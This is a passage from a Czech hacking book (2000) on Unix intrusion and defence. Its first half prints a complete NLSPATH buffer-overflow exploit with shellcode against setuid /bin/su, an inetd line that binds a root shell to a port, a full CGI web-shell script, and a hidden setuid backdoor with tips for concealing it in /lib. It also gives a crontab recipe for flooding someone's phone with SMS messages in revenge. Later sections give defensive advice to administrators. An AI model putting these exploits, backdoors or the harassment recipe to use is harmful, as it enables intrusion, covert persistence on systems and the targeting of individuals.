passwd. Zde může objevit backdoor, v podobě přidaného uživatele,
kterému administrátor nastavil ručně UID nula. Tento uživatel, může
mít dokonce i prázdou sekci pro zakódované heslo. Takový backdoor
si často vytváří admin, aby se mohl rychle přihlásit do systému
jako root, např. přes ssh. Přesto hackeři raději zkoušejí nějaké
exploity. Ještě je možné zkusit sudo, ale to většinou nefunguje.
Hacker se proto soustřeďuje na nejslabší část Unixu (Linuxu) a to
jsou setuid soubory. Těch je v distribucích Linuxu velké množství.
Typickém příkladem takového souboru je např. program /bin/su. To,
že má nastaven setuid bit, poznáme při použití příkazu ls takto:
ls –lau /bin/su
-rwsr-xr-x 1 0 0 11896 Jul 25 21:25 /bin/su
Na místě příznaku x vidíme příznak s. To znamená, že spustí-li
tento program nějaký uživatel systému, tak proces který se spustí
běží s právy vlastníka souboru. V tomto případě roota. To je ovšem
velmi nebezpečná vlastnost, která může být zkušeným hackerem
zneužita. Program může mít nějakou chybu typu buffer owerflow,
která se dá exploitem využít. Že to jde, ukážu na klasickém
příkladu, včetně zdrojového kódu exploitu.
/*
* NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89
\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 2048
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize - 4; i += 4)
*(char **)&buffer[i] = get_sp() - 3072;
memset(buffer, 0x90, 512);
memcpy(&buffer[512], shellcode, strlen(shellcode));
buffer[bufsize - 1] = 0;
setenv("NLSPATH", buffer, 1);
execl("/bin/su", "/bin/su", NULL);
}
Vidíme, že tento program dokáže oklamat program /bin/su, který po
vás nepožaduje heslo roota. Na nových distribucích Linuxu
samozřejmě nefunguje - exploit se spustí, ale musíte zadat heslo.
Jeho ovládání je triviální. Program se po přeložení spustí a je
z vás root. Jde to jednoduše proto, protože program /bin/su má
nastaven setuid bit. Dalším dost často používaným trikem na Linuxu,
kterým se lze dostat k superuživatelským pravomocem, je úprava
proměnné PATH. Tímto způsobem můžeme jiný program, který si
následně spustíme, přinutit, aby spustil námi podstrčený program.
Má-li první spuštěný program nastaven setuid bit od roota, spustí
se i námi podstrčený soubor s jeho pravomocemi.
Teď se konečně dostáváme k vysvětlení výrazu Backdoor. Jestliže
hacker získá na vašem Unixu roota, bude se sem pravděpodobně chtít
ještě někdy vrátit. Právě k tomu slouží tyto tajná zadní vrátka.
Nejjednodušší backdoor na Unixu je přesměrování shellu,
např /bin/bash na jeden z mnoha tisíc portů. To lze provést editací
souboru /etc/inetd.conf a následným restartem démona inetd,
příkazem killall –HUP inetd. Stačí tedy přidat do souboru
inetd.conf tento řádek:
hacker stream tcp nowait root /usr/sbin/tcpd /bin/sh –i
Nutné je poznamenat, že v souboru /etc/services, musíte definovat
číslo portu pro jméno hacker. Např. hacker 31337/TCP. Pak stačí,
aby nějaký hacker použil telnet a připojil se na port 31337. Spustí
se mu rootshell a jestli jste ho naštval, klidně vám smaže disk
příkazem rm –rf /. Tak to raději ne. I když některé servery na
Internetu jsou tak katastrofálně zabezpečeny, že by si použití
tohoto příkazu zasloužily. On klidně takový server může ohrožovat
bezpečnost celé České republiky. Server může objevit nějaký tajný
agent cizí kontrarozvědky, který má toto v náplni své práce. No to
jsem trochu odbočil že? Administrátor může snadno objevit tento
backdoor příkazem netstat. Velice efektní je backdoor, který
umožňuje přístup do Linuxu přes www rozhraní. Takový backdoor lze
vytvořit pomocí vhodně napsaného cgi skriptu. Prostě skript napíše
a uloží do souboru např. backdoor.cgi a zkopíruje do adresáře, kde
je povoleno spouštění cgi skriptů. Pak lumpovi v podobě hackera
stačí napsat ve svém prohlížeči úplnou cestu v tomuto souboru.
V prohlížeči se mu objeví okno, do kterého může zapisovat příkazy
vzdálenému operačnímu systému a tlačítkem je posílat k provedení.
Takto hacker může z prostředí prohlížečů ovládat a “spravovat”
svoje hacknuté servery. Rozhodně bych doporučoval administrátorovy
tyto soubory občas kontrolovat. Hacker může takto měnit nastavení
svých redirektorů nebo provádět jiné nekalé operace. Klidně vám
mohu jeden takový backdoor ukázat. Je napsán ve skriptu shellu:
#!/bin/sh
echo 'Content-Type: text/html'
echo
echo '<HTML>'
echo '<HEAD>'
echo '<TITLE></TITLE>'
if [ -z $1 ]; then
echo '<BODY BGCOLOR=#000000 TEXT=#00FF00>'
echo '<CENTER><H1></H1></CENTER>'
echo '<ISINDEX>'
fi
echo '</HEAD>'
echo '<BODY BGCOLOR=#000000 TEXT=#00FF00>'
if [ -z $1 ]; then
echo '<H2>
</H2>'
else
echo "<H1>$*</H1>"
echo '<PRE WIDTH="80">'
$*
echo '</PRE>'
fi
echo '</BODY>'
echo '</HTML>'
Po odeslání příkazu, můžete dostanete odpověď, která se zobrazí
v okně prohlížeče. Klasickým příkladem backdooru je také jednoduchý
program, který jsem uváděl jako příklad v souvislosti s Markusem
Hessem, v části o historii hackingu. Zde je podobný příklad,
tentokrát ve skriptu shellu:
#/bin/sh
SETUID="hacker"
MARKUSHESS="/bin/sh"
if "$SETUID" = "$1"; then
/bin/sh
fi
Samozřejmostí je nastavení setuid bitu od roota. Podobné programy
je nutné na systému dobře ukrýt. Dobře se takovýto backdoor schová
do adresáře /lib, nebo /usr/lib. Název se zvolí podobný jako mají
ostatní knihovny v těchto adresářích.
Takové soubury se velmi těžko hledají. Málokterý administrátor do
těchto adresářů “chodí”. Natož v nich něco mazat. Jediný poznávací
znak je nastavení setuid bitu a poměrně malá velikost těchto
souborů. Rozhodně by administrátor měl tyto soubory příkazem find
občas vyhledávat a kontrolovat jejich obsah. Ale kdo by se vrtal
v systémových knihovnách že? Backdoorů může být obrovské množství a
zmapovat je všechny v této knize není možné.
Za pozornost rozhodně ještě stojí úprava zdrojových kódů některých
programů na Unixu (Linuxu). Jedná se o velmi rafinované backdoory,
které se nezkušenému administrátorovi velmi těžko hledají. Takto
lze na Linuxu upravit téměř všechny programy, u kterých je
k dispozici zdrojový kód. Zde uvedu některé klasické příklady. Je
to především úprava programu /bin/login. Tento program hlídá
přistup k Linuxu. Kdo neprojde jeho lustrací je nemilosrdně
odmrštěn. Linux je standardně nastaven tak, že se nelze pomocí
aplikace telnet přihlásit na systém remote, jako uživatel root.
Úpravou zdrojového textu programu Login to možné je. Dále je možné
upravit programy ping, traceroute a jiné, které mají opět nastaven
náš známý setuid bit. Takto upravené programy pracují naprosto
normálně, ale po zadání tajného parametru, vám program “hodí”
rootshell. Chcete-li získat rootshell remote, lze upravovat
zdrojové texty síťových démonů. Klasickým příkladem je program
inetd. Identifikovat tyto programy lze, protože se po jejich úpravě
změní velikost přeložené binární verze. Někdy dost výrazně. Tuto
kontrolu by administrátor systému měl rozhodně provádět. Kniha o
hackingu by nebyla úplná, kdybych se nezmínil o luštění hesel. To
koneckonců prováděl už Markus Hess na konci osmdesátých let. Na
soubory passwd v Unixu nebo Linuxu je klasikou program John the
Ripper. Opět se na tento program podíváme podrobněji. Program je
distribuován pro téměř všechny operační systémy, včetně téměř
mrtvého systému OS/2 od IBM. Verze pro Windows 95 nepracuje
kupodivu v grafickém režimu, ale v klasickém znakovém. K dispozici
je i verze pro starý 16 bitový DOS. Program luští zakódovaná hesla
tak, že postupně šifruje všechny slova ze slovníku a porovnává
šifrovaný text s textem v souboru passwd. Najde-li shodu, vypíše
rozluštěný text včetně uživatelova jména. Program lze používat i
bez používání slovníku. Spustíte-li program s parametrem single,
luští program hesla bez použití slovníku. Má-li uživatel heslo
shodné s jeho jménem, program to najde. Podobně najde i nekvalitní
heslo v případě, že si uživatel přidá ke svému login name několik
znaků. Zvolí-li si např. uživatel Jirka heslo Jirka123, program
John the Ripper to rozluští. Práci programu si ukážeme na příkladu:
John the Ripper Version 1.4 Copyright (c) 1996,97 by Solar Designer
Loaded 127 passwords with 125 different salts (DES)
12root (root)
jirka33 (jirka)
v: 8 c: 990683 t: 0:00:02:45 99% c/s: 6004 w: *****DONE*****
Ve výpisu vidíme, že hacker měl štěsí (admin smůlu), protože se mu
podařilo rozluštit heslo roota. Ten si zvolil jednoduché heslo,
které program spuštěný v režimu single rozluštil. Ještě rozluštil
heslo jednoho uživatele, který si zvolil podobně nekvalitní heslo.
Co z toho vyplývá? Používat kvalitní hesla. Rozhodně nepoužívat
slova, která jsou obsažena ve slovníku a to nejen v českém. Velmi
dobré je používat za sebou jdoucí nesmyslný řetězec znaků,
kombinovaný čísly.
Hacker může také zachytávat hesla takříkajíc on-line. K tomu slouží
speciální programy, které se nazývají sniffery. Tyto programy
naslouchají na síťovém rozhraní a zachytávají pakety. Samozřejmě
včetně hesel (nepoužíváte-li např. ssh, které hesla šifruje).
Takovýto program, muže ukládat zachycené pakety do souboru, který
může být v pravidelných intervalech odesílán na hackerů email. Nebo
si ho hacker odešle sám pomocí backdooru z prostředí www
prohlížeče. Možností je mnoho. Musíme si uvědomit, že podobný
hacking je velmi nebezpečný. Hacker si může na Unixech vytvářet
zázemí a útočit na další systémy. Velmi zkušený hacker, může takto
ovládat značné množství počítačů a nikdo si toho nevšimne. Tzv.
hackeři, kteří změní www stránku jsou většinou amatéři, kteří
z toho časem vyrostou. Profesionální hacker takové věci nikdy
nedělá. Zbytečně by na sebe upozorňoval a chybu může udělat i on.
Proto také zde nepíši o Windows. Profesionálně hackovat ve Windows
prostě nejde. I když na Internetu jsou “hackerské” nástroje pro
tento systém. V minulosti byl velmi populární nastroj s názvem
Winnuke. Byl napsán mimo jiné i pro Windows 95. Jeho ovládání bylo
velmi jednoduché a asi proto byl mezi uživateli Windows tak
populární. Po jeho spuštění jste do příslušného okna napsali adresu
serveru, pracujícího s OS Windows NT. Následně jste stiskli
tlačítko (už nevím jak se jmenovalo). Toť vše. Klasický program pro
uživatele Windows. Jedno je jisté - takoví “hackeři” rozhodně
nebezpeční nejsou. Hackerských nástrojů a různých exploitů je
obrovské množství. Popsat všechny prostě nejde. Snad ještě na závěr
této části lze ukázat jednu lahůdku. S rozvojem mobilní komunikace
GSM, která se propojuje s Internetem, může hrozit jedno nebezpečí.
Musíme si uvědomit, že hacker, který má přístup do Unixu na úrovni
roota, je nebezpečný i pro uživatele mobilních telefonů. Určitě
jsou vám nepříjemné často zasílané reklamní SMS zprávy. Jestliže
nějakého hackera naštvete, může vám na váš mobil, zasílat
z nějakého hacknutého Linuxu SMS zprávu každých 30 minut (a to je
dost milosrdný). Myslím, že by vás za několik dní odvezli do
blázince. Dokonce existuje v Linuxu program, který je přesně
k tomuto účelu určen. Jmenuje se Crontab. Ukážu vám příklad
nastavení programu crontab, které umožní zasílat uživateli
mobilního telefonu smysluplnou SMS zprávu “Nevaž se odvaž se”
každých 30 minut. Nejdříve si vytvoříte soubor, do kterého napíšete
text “Nevaz se odvaz se”. Zkopírujte ho např. do /tmp. Pak si
vytvořte ještě jeden soubor, kam napište toto:
0,30 * * * * +420603xxxxxx@sms.paegas.cz < /tmp/soubor
Tento soubor, který se bude jmenovat např. gsm, zkopírujte třeba
do /home/hacker/. Pak stačí na příkazový řádek napsat toto:
[root]lamer /]# crontab –u hacker /home/hacker/gsm
Má-li hacker hacknutou mašinu někde v Indii, tak je to problém že?
Tento příklad, ukazuje také problém globalizace že? Myslím, že je
načase ukázat si jak proti hackerům na Unixech bojovat. Tak vzhůru
na to!
Administrátor versus Hacker
Poslední příklad jasně ukázal, že s hackery je nutné tvrdě bojovat.
K tomu jak tento boj vést, jsou určeny následující řádky. Nechci
zde uvádět notoricky známé fráze o bezpečnosti- těch je všude dost.
Pokusím se tuto problematiku ukázat na konkrétních příkladech.
Někdy ovšem úplně stačí minimální snaha. Velmi často se stává, že
když hacker zjistí nějakou změnu na systému, kterou si vyhodnotí
jako možnost ”jsem sledován”, systém opustí a máte pokoj. Např.
stačí napsat nějakou podezřelou IP adresu do /etc/hosts.deny, nebo
občas změnit nějaké heslo a podobně. Jestliže to nestačí musíte
zahájit boj. Na Linuxu je dobré občas sledovat běžící procesy. To
můžete udělat příkazem ps –aux. Není-li hacknutý i program ps,
můžete mu věřit. Nejlepší je ovšem použít vlastní, který máte někde
na disketě. Dostanete např. tento výpis:
PID TTY STAT TIME COMMAND
248 1 S 0:00 -bash
250 3 S 0:00 /sbin/getty tty3 VC linux
251 4 S 0:00 /sbin/getty tty4 VC linux
252 5 S 0:00 /sbin/getty tty5 VC linux
253 6 S 0:00 /sbin/getty tty6 VC linux
249 2 S 0:00 -bash
300 2 S 0:00 redir 192.100.45.1 31337 80
339 2 R 0:00 ps -a
První sloupec zobrazuje čísla, která každému procesu přiřazuje
systém. Pod číslem 300 vidíme proces, který je velmi podezřelý.
Ano, nějaký hacker si z vašeho Linuxu udělal přestupní stanici.
Vidíme, že zde běží redirektor na portu 31337, který přesměruje
všechny pakety na port 80 serveru 192.100.45.1. První co by vás
mělo napadnout je, co tento proces spustilo a kde na disku soubor
redir sídlí. Tam možná bude hackerovo sídlo na vašem systému. Jak
to udělat? Přejděte do adresáře /proc/300/cwd/ a spustíte znovu
bash. Nebo si spustíte souborový manažer git nebo mc. Možná se
ocitnete v hackerově doupěti. Důkazem mohou být některé velmi
podezřelé názvy souborů.
Další důležitou činností při sledování systému je vyhledávání
setuid souborů. O těch jsem již psal v souvislosti s backdoory.
Problém může být v tom, že hackeři tyto soubory dost důmyslně
ukrývají. Takový backdoor se může ukrývat mezi mnoha knihovnami
v adresářích /lib nebo /usr/lib/ a může mít i podobný název. Takové
“knihovny” mají většinou podezřele malou velikost a nastaven setuid
bit. Naleznete-li takový soubor, můžete ho otevřít editorem Vi a
prohlédnout jeho obsah. Také adresář /dev je častým “odkládacím
prostorem”. Např. hacknutý program telnet sem ukládá hesla
uživatelů. Snad ani nemusím připomínat časté používání příkazů last
nebo lastlog (fungují-li). U používání příkazu last, může nastat
určitý problém. Protože logování do tohoto souboru má ve své režii
každý program sám, může ho hacker změnit a tím změnit i logování,
nebo ho úplně zrušit. Dokonce hacker, má-li na systému UID nula,
může přepsat přímo příslušnou binárku. Jednoduše vyhledá textový
řetězec /var/log/wtmp a nahradí ho jiným. To má pro hackera několik
výhod. Dost často se stává, že na systému není sám. Takto může
odhalit IP adresy jiných “hackerů”. Nakonec podobnou úpravu může
udělat administrátor, aby zachytil IP adresu méně zkušeného
hackera. Pak je použití tohoto příkazu last –f soubor.
Samozřejmostí je, že pro tyto operace musí mít hacker UID nula.
Také je dobré kontrolovat soubory .rhosts v domácích adresářích
uživatelů. Ty ve spolupráci se souborem /etc/hosts.equiv umožňují
přístup na systém bez zadávání hesla. Ovšem toto je známá věc,
kterou nemá cenu podrobně rozebírat. Problém může způsobit i špatně
zabezpečený FTP server. Platí pravidlo, že není-li to nutné,
nedovolit anonymním uživatelům právo zápisu do nějakého adresáře.
V opačném případě se zvyšuje možnost uplatnění nějakého remote
exploitu. Dobré je také sledovat nějaké konference o bezpečnosti
např. Bugtraq, kde se podobné problémy diskutují. V doméně cz je
dobrý server underground.cz, který se touto problematikou zabývá.
Bohužel někdy se tento server stará o úplně jiné věci.
Dále je dobré sledovat bezpečnostní problémy ostatních síťových
programů, které “naslouchají” na některém portu. Je-li nějaká chyba
objevena, okamžitě aplikovat záplatu. Rozhodně věc nepodceňovat –
skenery hackerů jsou neomylné.
Závěr
Co říci závěrem? Propojování digitálních sítí určitě přinese
užitečné věci. Ale nelze podceňovat i určité problémy, které touto
globalizací vzniknou. Dnes může průměrně vzdělaný uživatel
počítače, získat obrovské množství různých hackerských nástrojů.
Špičkoví bezpečnostní odborníci zveřejňují v konferencích
nebezpečné exploity a klidně se může najít člověk, který podobné
nástroje sbírá jako motýly nebo známky. Časem může takový lamer
získat velkou palebnou sílu. Lze jen doufat, že mu jeho “střelný
prach” rychle zvlhne.
Jan Janda
Dokončeno 28.7.2000 Všechna práva vyhrazena